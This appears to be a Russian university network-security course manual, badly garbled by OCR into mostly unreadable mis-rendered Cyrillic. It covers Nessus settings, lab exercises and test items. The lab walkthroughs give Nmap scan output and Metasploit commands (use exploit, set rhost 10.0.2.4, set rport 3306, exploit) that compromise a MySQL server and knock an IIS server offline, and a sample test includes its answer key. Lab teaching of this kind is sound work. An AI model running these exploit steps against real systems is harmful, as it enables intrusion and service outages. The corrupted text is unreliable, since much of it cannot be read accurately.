nepea TecTupoBanueM). [Ipu UCOIB30BAHUK JAHHOW HACTPOMKH IEpeT MPOBEPKON JemaeTcs
NOTIBITKA BBIOJIHUTE 00paTHBIN nouck DNS u onpene- nuth ums xocra uist kaxaoro [P-agpeca.
DTO0 CyIIECTBEHHO 3aMEIIIeT CKAHUPOBA- HUE U 110 YMOTYaHHUIO OTKITFOUYEHO.

Optimize the test (onTuMu3nmpoBath TecTHpoBaHue). [[o yMoiuaHUIO NpU BBHINOJIHEHUU
TecToB Nessus MbITaeTcsi MOCTYNaTh pa3yMHO M HE JeNaTh MPOBEPOK, HEMPUMEHUMBIX K
KOHKPETHOMY XOCTY.

Safe checks (0e3omacHble mpoBepkm). [lo ymomyanuio Bcerga ycTaHAaBIMBAET- CS1 TaHHBIN
pexuM. OTo 3HAYUT, 4TO Nessus He OyJeT BBINOJHATh HUKAKUX HeOe3- OMACHBIX MPOBEPOK,
KOTOpBIE MOTYT BBI3BAaTh aBAPHUIO WIIHM KaK-TO WHAYE TOBPEIUTH CEPBEPY.

Brutaaka Target Selection (BbiGop mesin)

Ha sroit Bkianke 3amaroTcs 11eau ckanupoBanust (puc. 4.5). [lepeuncinum cno- coObl 3a1aHus
1eNiel CKAaHUPOBAHUSI:
— omuH IP-anpec: 192.168.0.1;

— IP-agpeca, pazaenennsie 3anateivu: 192.168.0.1,192.168.0.2;

— IP-mnanasonsr, pazaenennsie neducom: 192.168.0.1-192.168.0.254;

— craHgaptHas HoTamus ¢ Kocoi ueptoit: 192.168.0.1/24 (cerp kmacca C wu3
256 aapecoB);

— wums xocra: myhost.example.com;

— mo0asi KOMOMHAIMS BBIMICTIPUBEICHHBIX 0003HAUYEHUH, pa3fAeCHHBIX 3allsThl- MHU:

192.168.0.1-192.168.0.254,195.168.0.1/24.
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Puc. 4.5. Briaaka Target Selection B Nessus

Bkuaaaka User (Ilosib30BaTeib)

Ha 5710if BKi1agke oToOpakaroTcsi BCe M0JIb30BaTeNn cepBepa Nessus U Bce ac- COLUMUPOBAHHBIE C
HUMHU IpaBWiIa (HaIpuMep, BO3MOXKHOCTh BXOJla TOJIbKO ¢ ompe- aeneHHoro IP-agpeca). Cuera
HOJIb30BaTENIeH CO3AI0TCS C MOMOILBIO MpoLeAypbl nessus-adduser, HO Ha 3TOW BKJIaJKe BCEr/a
MOYKHO OTPEIaKTUPOBATh WM JOOABUTH MPaBUIIA IS JIFOOOTO CYIIECTBYIOIIETO IMOIb30BATEIS.
Oco0eHHOCTH CKAHMPOBAHUA YA3BUMOCTEH

CkaHupOBaHHE TMOPTOB SIBJSIETCS JIOBOJBHO O€300MIHON NeATENBbHOCThIO, XOTS OHAa H
HACTOPAXXKMBAET, KOTJAa Bbl BUAUTE €€ 3a(pUKCUpPOBaHHOW B XypHanaxX. OIHaKoO TeCTUpOBaHHE
YSI3BUMOCTEH MOKET OBITh CYIIECTBEHHO 00Jiee Pa3pylINTEIbHBIM, IPUBOIS K aBapUsIM CEPBEPOB,
paspbiBasi coeiMHEeHus ¢ MHTepHeToM, WM Jaxe yla- Jiid JaHHble (Hampumep TecT Integrist).
MHorue u3 tectoB Nessus ClIEHHAIBHO CO3JaHbl I OpraHU3aluy aTak Ha JOCTYITHOCTb. Jlaxke ¢
BKJIIOYEHHOM omiuel 0e3- omacHoi MpoBEpKU TECThI MOTYT BbI3bIBATH NMPOOJIEMbI HA HEKOTOPBIX
cucreMax. B CBA3M € 3TUM 1aIUM HECKOJIBKO PEKOMEHIalAM.

1. He ckanmpyiite 6e3 paspemiennsi. Bbl HUKOT/Ia He JOJDKHBI CKAaHMPOBATH CETh,
KOTOpasi He HaXOUTCs O] BAlllUM HEMOCPEACTBEHHBIM KOHTPOJIEM HJIM €CJIHM Bbl HE UMEETE
ounmanpHOrO paspelieHuss OT Biajgenbla. HekoTopsle W3 BUAOB ak- THBHOCTH,
MHULMUPOBAHHOW Nessus, MOTyT IOpPUIUYECKH pPacCMaTpUBATbCA XaKep- CKUM B3JIOMOM
(0coOeHHO MpH BKIIOYEHHOH OMNIMM aTaK Ha JOCTYIHOCTb).

2. Yoeaurech, YTO Bce pe3epBHbIe KOIMH AKTYaJbHbl. Bbl Bceria JOKHBI OBITh
YBEPEHBI, UTO Ballll PE3EPBHBIE KOITUHU aKTyaJIbHbI, HO 3TO BABOWHE Ba)KHO IPU CKAHUPOBAHUU
ySI3BUMOCTEH Ha TOT ciydaid, eciii CKaHUPOBaHHUE MIPUBEJET K MIPO- OJeMaM C CEpBEPOM.

3. [lnanupyiiTe BpemMsi CKAHMPOBAHMUS. B IIPOI0IKEHNE MIPEIBIIYIIErO 3aMe- YaHHs
He 3a0bIBaliTe KOOPAMHUPOBATH BpeMsl MNPOBEAECHUS CKAHUPOBAHMS MJIs TOJNY- YEHHUs
TpeOyeMbIX pe3yJbTaTOB C MUHUMAJIbHBIM BIUSHUEM Ha ApYrux ciayxkamux. CkaHupoBaHUE
IIOYTOBOTO CEPBEpa B 8 4acoOB yTpa, KOTJa BCE CTPEMATCA MOJIYYUTh CBOIO IOUTY, MOXKET
HapyLHTh pabounii mporecc.

4. W36eraiiTe H36bITOYHOr0 CKAHMPOBaHHs. [IaHUpYITE CKAHNPOBAHKE TaK 9acTo,
KaK coureTe HeOOXOAMMBIM, HO HE IojaraiiTe aBTOMaTHYECKH, UYTO E€XKECyTo- YHOE
CKaHUPOBAHHUE C/AEJIAET Ballly ceTh Oojee 0€30acHOM.

5. lpaBuabHO pa3sMemaiiTe cepBep CKAHMPOBaHWsl. Eciv BBl XOTHTE TIO-
HACTOAIIEMY NPOBEPUTH BHELIHIOK (U3 VIHTepHETa) ysI3BUMOCTH Ballei HHPpopMa- IIHOHHOMN
CHUCTEMBI, CIIEyeT pa3MECTUTh cepBep Nessus BHE Balllero MEKCETeBOro skpana. llpu
CKaHUPOBAHWM BHYTPEHHEHW CETH cepBep HEOOXOIMMO Pa3MECTUTh IO- 33U MEXKCETEBOIO
sKkpaHa. YcraHoBka Nessus Ha [TIK-010kHOTE MOXET 00JIETYUTh BHIMOJIHEHUE CKAaHUPOBAHUS
KaK U3HYTPH, TaK U U3BHE Balleil ceTH, HE TpeOysh MHOKECTBA MAIlIKH.

MNPAKTHYECKASI YACTb
1. 3anyctuts nBe paznuunble OC (Kakue MMEHHO YyTOUHUTH Y IPEnoaaBaTes).



2. Ha ogHoli 3 HUX ycTaHOBHTH ¥ HacTpouTh Firewall.

3. YcraHoBUTH U cKOH(pUTYypupoBaTh NESsus.

4. TlpoxymaTth, co31aTh ¥ OOOCHOBATh CBOW CIICHApHW CKAaHUPOBAHUS CHUCTEMBI (HE
BBIOMpAliTEe «OMACHBIE TECTOBBIEC CIICHAPHHY), HAIPUMEp, TECTHPOBaHUE HACTPO- ek Firewall.

5. 3anycTUTh CKaHUPOBAHHUE U TIOJIYYUTh PE3YJIBTAThI €T0 BBITOIHCHUSL.

6. ITonmy4yeHHbIE pe3yJIbTaThl IPUKPEIUTD K OTYETY U 00OCHOBATH.

COJAEP)KAHUE OTUETA

1. TuTynbHBIN JUCT.

2. Ilenw paboTHI.

3. Kparkue TeopeTruecKue CBeIeHHS.

4. Peanu3zanus penieHus 3aa4u U CKPUHIIOTHI KOHPUrypauu Nessus.

5. BBIBOIEL

KOHTPOJIBHBIE BOITPOCHI

1. KakoBbl OCHOBHBIC MPUYUHBI HECOOIIONEHUS TPeOOBaHUI 0E30MaCHOCTH CBOMX CHCTEM?
2.  Yto riiacuT OCHOBHOM MPHUHIIUII XOPOIIEH 3aIUThI IPU YIPABIEHUU TOJIb- 30BaTENSIMU U
daitmamun?
3. Jlms yero nmpeaHa3HAuYeH «CKaHEP YA3BUMOCTENH»?
4.  UYro takoe Nessus?
5. Kakue 1oCTOMHCTBA y apXUTEKTYPbI IOCTPOCHUS «KIIUEHT — CEpPBEP», HA KO- TOPOH
6asupyetcs Nessus?
6. UYto Takoe «mycToi» u «cinadblii» mapoau?
7. UYro takoe NASL?
8. C KakMMU CTOPOHHUMU YTHIIUTAMU MOXET UHTETpupoBaThest Nessus?
9. B kakom Buje Nessus MOXKET MPEACTABIIATh OTYETHI O Pe3yJIbTaTaX CKAaHU- POBAHHS?
10. Kaxkwue BbI 3HaeTe JOCTOMHCTBA U HEAOCTATKU BCTPOEHHOTO B Nessus cka- Hepa MOPTOB 0
CpaBHEHHIO C CYIIECTBYIOIIUM Nmap?
11. 3auem B Nessus peanuzoBana noaaep:xxkka MySQL?
12. Yem Nessus WX orimuaercst ot Nessus?
13. Tloyemy Henb3s CKAHUPOBATH CETh 0€3 pazperieHus?
14. 3auem mu1aHUpOBaTh BPEMsI CKAHUPOBAHUS?

JlaboparopHas noBelIeHHON cinoxHOocTH 10.2. ATaka Ha cepBep 0a3 JaHHBIX

Hens padotsr: [IpoBectu ataky Ha cepBep 0a3 JaHHBIX.
IToxroroBka k padore:
1) 3amycTuts 1BE BUPTyanbHBIE MANIHHEL, KOTOPHIE OYIyT BHITOMHSTE CIIEAYIO- IIHE
byHKIMn:
- ATakyrouui cepsep.
- ATakyeMmblil cepBep.
2) C nomorsio Nmap mpockaHUpoBaTh yA3BUMEIH CepBep U TIPOBECTH AHATN3
YSI3BUMOCTEM, CBA3aHHBIX C CEpBEPOM 0a3 TaHHbBIX.
2) Ucnonb3ys metasploit framework nmpousBecty sKCIIyaTaluio ysI3BUMOCTH, BEPHO
BbIOpaB KoHUryparuio. [Ipumep Takoil HaCTpOWKM MPEACTaBICH B MPUIOKEHUN [I;
3aa4yn, KOTOpble HEOOXOIMMO BBIMTOJIHUTH B paMKaXx paOoThI:
1) TIpoussecTu mpeaBapHTENbHEI c60p HHGOPMALME O ATAKYEMOM CEPBEPE C
MOMOMIBI0 yTUIUTH NMmap.
2) Ha ocHoBe HH(MOPMAIUH, MOTY4EeHHON U3 MyHKTa 1, HAHTH TOYHBIE yS3BUMO- CTH
U UX peasu3alii.
3) 3amyctute metasploit framework u npaBuiIbHO 337aTh MapaMeTPhI IS UC-
MOJIb30BAHUS YA3BUMOCTH.

[To oxoH4yaHuM pabOTHI CTYAEHTHI PACIIMPST CBOM 3HAHUS B MCoab30Banuu Metasploit framework,
a TakKe 3aKpeIsT 3HaAHMS 0 TOJIb30BAHUIO CETeBOTr0 ckanepa Nmap.



BoinosHenue JjadbopaTopHoii padorsl 10.2. ATaka Ha cepBep 0a3 JaHHBIX

1) 3anyckaem BUpTYyasbHbIE MANIHHEL, KOTOpbIE OYIyT paboTaTh B KauecTBe:
-ATaKkyeMmblil cepBep.
- Atakyronuii cepsep.

2) C nomomipio Nmap ckaHupyeT aTakyeMslii cepBep Ha IpeAMeT HATUUUs yS3BUMO- CTeil,
CBSI3aHHBIX ¢ cepBepoM 6a3 manubix (Mysql):

Nmap scan report for 10.0.2.4
Host is up (0.00075s latency) .
Not shown: 65493 closed ports
STATE SERVICE VERSION
open ftp Microsoft ftpd
open ssh OpenSSH 7.1 (protocol 2.0)
open http Microsoft IIS httpd 7.5
open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Microsoft Windows Server 2008 R2Z - 2012 mig
rosoft -ds
1617/tcp open nimrod-agent?
3000/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.1 (2016-04-2
))
3306/tcp open mysql MySQL 5.5.20-1og

Pucynoxk 10.1. PesynbraTs! ckanupoBanust Nmap

Ha pucynxke /I.1. BuiHO, 4TO UMeeTCst OTKPBITHIM nopT 3306 ¢ BKIIOUEHHBIM HA HEM
cepBepom 6a3 manubeix MySQL 5.5.20.

3) OHpe,I[eJ'II/IB y5{3BI/IMLII71 CCPBHUC, a TAKIKC Hy>KHBII>'I HaM OKCIIJIOUT, HACTPANBACT
metasploit framework:

msf > use exploit/windows/mysql/mysql payload
msf exploit( ) > set rhost 10.0.2.4

rhost => 10.0.2.4
msf exploit( ) > set rport 3306
rport => 3306

Pucynok 10.2. Hactpoiika metasploit framework

4) Tlocne Hactpoiika metasploit framework, 3anyckaem Ha HCHOJNHEHUE YKCIUIONT:
st exploit( ] = exploit

1
1
1
1
1
1
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10.8.2.4:3306 - Ct maﬂﬂ St
Pucynok 10.3. 3amyck skcrionTa
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Pucynok 10.4. OxoHuanue paboThbI SKCILIOUTA

Ha PUCYHKEC BUJHO, YTO COCAUHCHHUEC YCTAHOBHUIIOCH, IJId TOIO, YTOOBI IMPOBCPHUTH
YCIICUIHO JIK ITpolljIa aTakKa UK HET, IIPOBCPHUM CBOH CTaTyC B CUCTCMC!

Pucynok 10.5. IIpoBepka cucremHoi nHDOpMATAN
Kak MbI BUTHO Ha CKPUHILIOTE, B KOHCOJIM HaM BBICBETUJIACh MH(OPMALIKS O TOM, YTO MbI
HaxO0JIMMCSI Ha aTaKyeMOM KOMIIBIOTEPE, 3TO 03HAYAET, YTO MBI YCIEITHO UCIIOIL30BAIN
ySI3BUMOCTH cepBepa 0a3 JTaHHBIX.

Bompocsr:
1. Kakue ys3BumMocTH cepBepoB 0a3 JaHHBIX MOTYT ObITh UCIOJIb30BAaHbI 3JI0YMBILIIIEHHUKOM?
2. C noMoIbI0 KaKUX UHCTPYMEHTOB MOKHO OCYILIECTBUTH aTaky Ha cepsep bJ1?
3. Kakwue mocnencTBus MOKET HMETh YCIIEITHAsI aTaka Ha cepBep 0a3bl JaHHBIX ?
4. Kaxum o0pa3oM MOXKHO npeaoTBpaTuTh SQL-uHBbeKMM U Apyrue ataku Ha cepsep b/1?
5. Kak BesiBUTH (hakT aTaku Ha cepBep 0a3bl JaHHBIX 110 KYpPHAJIaM U CHCTEMHBIM Jioram?

JIaGoparopnas noBbimeHHO# cnoxHocTH Ne 10.3. Ataka Ha cepBep npuiioxenus tomcat mox
ympasiaenuem OC Windows
Iens pabotsel: [IpoBecTu aTaky Ha cepBep 0a3 JAHHBIX HA CEPBEP MPUITOKEHHS
tomcat
[ToaroroBka k padore:
1) 3amycTuth 1B BUPTyalbHbIE MAIIMHBI, KOTOPbIE OYYT BHITIOMHATH CIEIYIO- IIHE
byHKINH:
- ATakyrouui cepsep.
- ATtakyeMslii cepBep.
2) C nomorsio Nmap npockaHUpoBaTh yS3BUMEIH CepBep U TIPOBECTH AHATN3
ySI3BUMOCTEH, CBSI3aHHBIX C CEPBEPOM 0a3 JaHHBIX.
2) Ucnons3yst metasploit framework mpoussecTr sKkcIuTyaTauio ya3BUMOCTH, BEPHO
BbIOpaB KoHurypauuto. [Ipumep Takoil HACTpOWKH NMpeACTaBIeH B NPUIOKEHUH E;
3amauun, KOTOpble HEOOXOIMMO BBIIOJIHUTH B paMKax pabOThI:
l) [IpousBecTu npeaBapuTENbHBIN cOOp MHPOPMAIIUK O ATAKYEMOM CepBEpE C
noMouibo yruiautsl Nmap.
2) Ha ocHoBe HH(MOPMAIUH, MOTY4eHHOM U3 MyHKTa 1, HAlTH TOYHBIE YSA3BUMO- CTHU
U UX peajn3aluu.
3) 3amyctuts metasploit framework u mpaBuIbHO 3a1aTh TAPAMETPHI IS HC-
M10JIb30BAHNUS YSI3BUMOCTH.
[To okoHuaHUM pabOTHI CTYICHTHI PACIIMPAT CBOM 3HAHHS B MCIOIb30BaHMK Metasploit
framework, a Taxke 3akpensT 3HaHUS 110 MTOJIB30BAHHUIO CETEBOro ckanepa Nmap.

Brmonaenune nabopatopHoit padotsl 10.3. ATaka Ha cepBep, HACTPOSHHBIN ¢ TOMOIIBIO
Microsoft 11S



1) 3amyckaem BupTyalbHBIE MAIIUHBI, KOTOPBIE OYAYT paboTaTh B KAYECTBE:
-ATaKyeMmslil cepBep.
- ATtakyronui cepsep.

2) C nomoursro Nmap ckaHupyeT aTaKkyeMblil cepBep Ha IpeIMET HATMUMS yI3BUMO- CTEH:
Nmap scan report for 10.0.2.4

Host is up (0.00075s latency) .

Not shown: 65493 closed ports

PORT STATE SERVICE VERSION

21 /7/85p open ftp Microsoft ftpd

22/tCcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open ms rpc Microsoft Windows RPC

139 /tcp open Nnetbios-ssn Microsoft Windows netbios-ssn
445/ tcp open microsoft-ds Microsoft Windows Server 2008 R2Z - 2012 m
rosoft-ds

1617 /tcp open Nnimrod-agent?

3000/ tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.1 (2016-04-=
))

3306/tcp open mysql MySQL 5.5.20-1l1og

Pucynok 10.3.1. Pe3ynbraTt ckanupoBanue Nmap

valid
v Eﬂ_ i ':_i

Pucynok 10.3.2. Pe3ynbraTt ckanupoBanue Nmap

Ha pucynkax E.1. u E.2. Buano, 4yto umeetcs otkpbIThie mopThl 80 1 3389 Garonapst KOTOPHIM Mbl
MIOHUMAaEM, 4TO CEpPBEp HACTPOeH ¢ momortsio Microsoft 11S 7.5.
Hcnonb3yst Nessus scanner, Mbl MOKEM OIPEICIIUTh HY>)KHYIO HaM YSI3BUMOCTb IS

DKCIUIONTA:

Hosts > 192.168.1.14 > Vulnerabilities [

Severity Plugin Name Count

CRITICAL MS14-066: Vulnerability in Schannel Could Allow Remote Code Exec... 1

PHP 5.3.x < 53.15 Multiple Vulnerabilities 1

CRITICAL PHP Unsupported Version Detection 1
CRITICAL SSH Static Key Accepted 1
Apache 2.2x < 2.2.28 Multiple Vulnerabilities 1

| MS12-020:; Vulnerabilities in Remote Deskiop Could Allow Remote ... 1
‘ n :

Pucynok 10.3.3. CxanupoBanue Nessus scaner



3) Onpenenus ya3BUMBI CEpPBHC, a TAK/KE HY/KHBIH HAM SKCILIOUT, HACTPAHBAET
metasploit framework:

msf auxiliary/( > set rhosts 10.0.2.4
rhosts => 10.0.2.4
msf auxiliary(

error screeaen,
again, follow

ag -]
artu ja}

echnical dnformation:

i ng
Dumping @t

Pucynok 10.3.6. OTka3 B 00CITy’)KUBaHHH KOMIIbIOTEpA KEPTBBI
Kak MbI BUZTHO Ha IOCTIEIHEM PUCYHKE, KOMITBIOTEP JKEPTBBI OTKA3aJ1 B 00CTYUBa- HUU 110 IPUYHUHE
UCMOJIb30BaHus ys3BUMocTH B IIS Miscrosoft, To ecTh ncnoiap30BaHNEe HEAOMYCTUMOIO yKa3aTels,
BBI3bIBAET YCJIOBUE OTKa3a B 0OCITY)KMBaHHH.

O6pazern 3a1aHui 1715 BBITOJIHEHUS 1a00paTOPHBIX pabOT ¥ MPUMEPHBIN IEpEeYeHb BONIPOCOB AJIs
WX 3aIUTHI
«JIaGoparopnas padota Nel1: Pa3paboTka niaHa npoBeeHus ayauTa ceta IBM»y
3ananue: PazpaboTaTh miiaH MpoBeACHUs KOMIUIEKCHOTO ayIuTa CETH OpraHU3alMK, BKIFOYAOIHIA:
e Omnpenenenue nene 1 3a1a4d ayaura
o CocrapneHue nepedHs 00bEKTOB MPOBEPKU
o dopmMupoBaHHE IPOTrPAMMBI ayAUTA C YKa3aHUEM MPOLEAYP U METOJOB TECTUPOBAHUS
e VYcTaHOBIIEHHE CPOKOB MPOBECHUS Ay UTA
e Pacmpenenenue 00s13aHHOCTEN B TPYIITIE ayIUTOPOB
KoHTposbHbIE BONPOCH:
1. Kakoe [10 mMoxeT UCTIONIB30BaTHCS ISl aBTOMATH3ALMH ITPOLIELyp ayAUTa CETU?
2. Kakue 10KyMeHTHI JOJDKHA ITOATOTOBHUTH TPYIINA ayAUTOPOB K HAYaTy IMPOBEPKU?



ok w

pesynbTaTam ayaura’?

Kakue 3Tansl BKIIIO9aeT KOMIIJIEKCHBIN ayIUT 3alUIIEHHOCTH CETH OpraHu3anuu?
Kak odopmitsitorest pe3ynbTaThl ayIMTOPCKON IPOBEPKU CeTh?
Kakue pexkomMeHJanMM MO TMOBBIICHUIO 3aLIUIIEHHOCTH CETH MOTYT OBITh JaHbl II0

3.3 TunoBble KOHTPOJIbHBIC 3aIaHUA IJIA IPOBECACHUA TECTUPOBAHUSA
(DOHI[ TECTOBBIX SaﬂaHI/Iﬁ 10 ANMCHUILUIMHE COACPIKHUT TCCTOBBIC 3aJaHus, paCIIPEACICHHBIC 110
pasaciiaM u T€MaM, C YKa3aHUCM HUX KOJIMYCCTBA U THUIIA.

Ctpykrypa hoHaa TeCTOBBIX 3aJaHU MO TUCITUILINHE

KonunuectBo
Nunukarop
XapaKkTepUCTHKA | TECTOBBIX
JOCTUKEHHUS Tema B coorBeTcTBUM ¢ PITJ{ N
T3 3aJIaHnM,
KOMIICTCHIHH
tunsl T3
3HaHue Ha 3-0T13
Tema 1. OcHOBHbBIE TOHATUS BBIOOD 2—-3T3
OIIK-9.1 nH(pOpMaMOHHOM 06€30MMacHOCTH U Vere 3-0T3
OIIK-9.3 nH(POPMAIMOHHBIX ceTeil. OCHOBBI 2—-3T3
MTOCTPOCHHUS COBPEMEHHBIX JIOKAJTBHBIX CeTel . 0-0T3
[eiicTBue 0—3T3
3HaHue Ha 3-0T3
BBIOOD 2—-3T3
Tema 2. CereBble OnepaliMOHHbIE CUCTEMBI.
OIK-9.1 ObecrieueHre 0€30MaCHOCTH ceTel Ha Oase YMeHnue 3-0T13
OTIK-9.3 CETEBBIX OINEPANMOHHBIX CHCTEM 2-313
JlelicTBre 8__3?:?
3HaHue Ha 3-0T13
BBIOOD 2-3T3
OIIK-9.1 Tema 3. TexHonoruu obecrneyeHus Venne 3-0T3
OIIK-9.3 0€30MaCHOCTH B JIOKAIBHBIX CETAX 2—-3T3
. 0-0T3
[evicTBue 0-3T3
3HaHue Ha 3-0T3
Tewma 4. [lepciekTUBHbIE HAIIPaBJIECHUS BBIOOP 2=313
OIIK-9.1 3-0T3
OITK-9 3 pasBUTHA 1 po06sieMbl HHPOPMAITHOHHBIX Ymenue 2_3T3
cerei o 0-0T3
eiicTBHe 0—3T3
3HaHue Ha 3-0T3
BBIOOD 2-3T3
OIIK-9.1 Tema 5. DTanbl BHepeHUs1 OECIIPOBOIHOM VMeHme 3-0T13
OIIK-9.3 cetu. [Iporokonsl 6e3onacHocTu cereit WLAN 2—-3T3
JlelicTBre 0-0T3
0-3T3
3HaHue Ha 3-0T3
BBIOOP 2—-3T3
OIIK-9.1 Tema 6. Cpencrsa peanu3any MEKCETEBOTO VMeHe 3-0T3
OIlK-9.3 B3aUMOJICHCTBUSA 2—-3T3
JlelicTBre 0-OT3
0-3T3
3HaHue Ha 3-0T3
OIIK-9.1 Tema 7. OGecnieueHue 6€30MaCHOCTH BEIOOD 2-3T3
OIlK-9.3 MEXCETEBOT'O B3aMMOJICHCTBHS Verie 3-0T3

2-3T3




JleticTBHE 0-0T3
0-3T3
3HaHue Ha 3-0T3
. BBIOOD 2—-3T3
Tewma 8. Haznauenue BUpTyaIbHBIX CETEH.
OINK-9.1 Co3znanne BUPTyalbHBIX CETEH Ha 06a3e OMHOTO | YMEHHUE 3-013
OIIK-9.3 KoMMyTaTOpA 2-3T3
JeiicTBue 0-0T3
0-3T3
3HaHue Ha 3-0T3
BBIOOD 2—-3T3
OIIK-9.1 Tema 9. Co3nanue BUpTyalbHbIX ceTel Ha 0ase VMeHe 3-0T13
OIIK-9.3 HECKOJIbKMX KOMMYTaTOPOB 2—-3T3
JeiicTBue 0-0T3
0-3T3
3HaHKe Ha 3-0T3
Tema 10. O630p cpeacTB aHamuza BBIOOD 2—-3T3
OI1K-9.1 3aIUIIEHHOCTH BEIYUCIUTEILHBIX CETEN. VMeHie 3-0T3
OIIK-9.3 MeToauky NpUMEHEHUS CPEJICTB aHAIN3a 2—-3T3
3aIUIIEHHOCTH CeTel Teiictaie 0-0T3
0-3T3
3HaHHE Ha 3-0T3
OITK-9.1 Tema 11. IIpaBoBBIC OCHOBBI 3aITUTHI BLIOOp g : 301:1,33
OITK-9 3 I/IH(bOpMaI_II/II/IUB KOMIThFOTEPHBIX CETSX. Ymenue 2313
3alunieHHbIN JOKYMEHTO000POT
[eiicTBue 0-OT3
0-3T3
3HaHHE Ha 3-0T3
Tema 12. Bunsl aynura 6e30macHoCTH ceTeit BBIOOD 2-3T3
OIIK-9.1 OBM. OpranuzannoHHO-paclopsiAUTEIbHbIE VMeHie 3-0T13
OIIK-9.3 JIOKYMEHTHI 110 00ecTeueHuto 0e30MacHOCTH 2-3T3
cereii OBM TeiicTnue 0-0T3
0-3T3
Hroro 72-0T3
48-3T3

[Tonueiit kommekT T3 XxpaHUTCS B 3NEKTPOHHONW MH(DOPMAIIMOHHO-00pa30BaTENbHOM Cpeie
HpI'YIIC u obyuaromuiicss ©IMeeT BO3MOKHOCTh 03HAKOMHTBLCS C IEMOHCTPALIMOHHBIM BapuaHTOM
OT3.

Hwxe npuseneH oOpasel] THIIOBOTO BapuaHTa UTOTOBOTO TECTa, MPEIYCMOTPEHHOr0 pabouei
IPOTPAMMO# TUCTIUIIIIHHEI.

1. Kak Ha3bIBaeTCs MpolLecc onpeAeaeHns JUYHOCTH 0JIb30BaTeNs IPH JOCTYIE B CUCTEMY?
a) Unentudukanus 6) Apropusanus B) AyreHTuukanus
2. Kakoit  mpoTokon — ucmone3yercs Uil Oe30macHOM
a) Telnet 0) FTP B) HTTPS r) SSH
3. Uro takoe MAC-anpec?
a) AnnapaTHblii aapec ycrpoiictBa 0) [IP-aapec poyrepa B) Anpec 2IeKTPOHHON TTOYTHI
4. K xaxoii KaTeropuu OTHOCUTCS yIpo3a 0TKa3a B 00CTyKUBAaHUU?
a) Ya3Bumoctu 0) ATaku B) HecaHKIIMOHUPOBAaHHBIN JOCTYyM
5. Kakoii u3 MeTo10B 0obecrieunBaeT KOHPUAECHIINATILHOCTh TAHHBIX ?
a) lHlIndposanue
6) PesepBHoe konupoBanue B) Pasrpanndenue nocryna r) MOHUTOPUHT
6. Kax Ha3zpBaeTCs BHEIPEHUE BPEJOHOCHOTO KOJIa B IPOTPaMMHOE o0ecTieueHne?
a) Myranus 0) Uabexuus B) Criyusr
r) ®umuHr

nepegayn  BeO-Tpaduka?



10.

11.

12.

13.

14.

15.

16.

17.

18.

Yro takoe VPN?

a) BupryanbHasi yacTHasi cetb 0) BupTyanbHslii mpokcu-cepsep B) BpenonocHas
nporpamma T) BupTyanbHbIi TPOTOKOI

Kakoii Opanamaysp ¢uinsTpyer Tpaduk Ha OCHOBE MPaBHII?

a) Proxy-cepsep
0) MexcereBoii 3xkpan B) VPN r) IDS
Yto BXOIUT B IOHATHE "ATaka THIIA OTKa3 B obcimyxuBaHun'"?

a) IlepexBar manHbix 0) HecankimoHupoBaHHBIA 10cTyn B) bBJIOKMpOBKa pecypcoB
cucrembl 1) [TonGop maposs
IIpouecc nprucBOeHHUs MOIB30BATEIIO IIPAB TOCTYIIA B CUCTEME HA3bIBACTCS
OtBeT: aBTOpU3ALIUA

- 3TO anmapaTHO-NPOTrPaMMHBIM  KOMIUIEKC, KOTOPBIA  KOHTPOJIMPYET
nH(OPMAIIHIO, TTOCTYMAIOIIYIO B JIOKAJTLHYIO CETh M UCXOJSIIYIO U3 Heg.
OTBeT: MEXCETEeBOU IKpaH

[Ipotokon MCIIONIB3YETCs I YAAIEHHOTO IOCTYIIA K JIOKAJIbHBIM pecypcam uepes
HeOe30MmacHbIE CETH.

Otset: VPN

ITpomecc JNAHHBIX TpEaIosaraeT ux IUGpPOBaHUE C HCIOIH30BAHUEM

KpUNITOrpahueCKUX alrOPUTMOB.
Otger: kpunrorpadus
Artaka Turma "0TKa3 B 00CIy>KMBaHHH" HApaBJIeHA Ha pecypcoB HHGOPMAITMOHHON
CUCTEMBI.
OtBer: ucuepnanue

- 3TO cTaHAapT mudpoBaHUs OECIIPOBOIHBIX CETEll, 00ECHeUNBAIOIINN 3aIIUTY
Nepe1aBaeMbIX JaHHbIX.
Otser: WPA2
VYA3BUMOCTH MPOTPpaMMHOI0 00€CI€UYeHUs MOTYT OBITh MCIIOJIb30BaHbl 3J10yMBIIIJIEHHUKOM
TUIS Ko7a.
OtBeT: BHEApEHUs

- 9TO YHUKAJIbHBINA UACHTU(UKATOP ceTeBOro ycTpoiicTBa B cetu Ethernet.
OtBet: MAC-anpec

npearnosiaraeT paselieHHe pecypcoB KOMITBIOTEPHOM CHCTeMbl Ha OOBEKTHI U
YCTaHOBJICHHUE MPABIII JOCTYIA CYOBEKTOB K ’TUM O0BEKTaM.
OTBeT: pa3rpaHuyYeHuE A0CTyNa

3.4 TunoBoe 3aganue 1Js BHINOJTHEHHUS KYPCOBOii padoThI

TunoBele 3a7aHus BBUIOKEHBI B 3JIEKTPOHHONH HH(OPMAIMOHHO-00pa30BaTEeIbHON cpefe
UpI'VIIC, noctynHoil o0y4aromemMycst 4epe3 ero JMUHbIM KaOuHeT.

Hwxe npusenieH o0pasel 3ajaHust JUIsl BBITOJIHEHUsI KypCOBOH pabOThI M IPUMEPHBIN ITepeyeHb
BOIIPOCOB JUIS €€ 3aIIUTHI.

OO6pa3ern TUIIOBOTO 3a/1aHus JJIs BBIOJHEHUS] KypCOBOM pabOThI

BeimonnuTe KypcoByto paboTy Ha Temy «CermentupoBanue JIBC Ha moaceTtu kak MeTo[

oOecrieuennsa Oe3omacHOCTH ceTeiit DBM»y.
3agaHue:

1.

2.

JlaTb 00111y10 XapakTEpUCTUKY METOJ]a CETMEHTHPOBAHUS JIOKaIbHON BBIUHMCIUTENLHON CETH
Ha IIOJICETH.

Onucary Ha3HaueHWe W mpeumyiecTBa pazouenus JIBC Ha mojceTw i TOBBIIICHUS
3aIIMILEHHOCTH CETH.

PaccmoTpeTh criocoObl BHIITOJIHEHUS CETMEHTHPOBAHUS CETH € IIOMOIIBIO MapIIPYTHU3aTOPOB,
KOMMYTaTOpPOB, BUPTYaJIbHBIX JIOKaNbHBIX ceTeil (VLAN).

[TpoananusupoBaTh yrpo3sl 0€30MaCHOCTH, OT KOTOPBIX TIO3BOJSIET  3aLIUTHTHCS
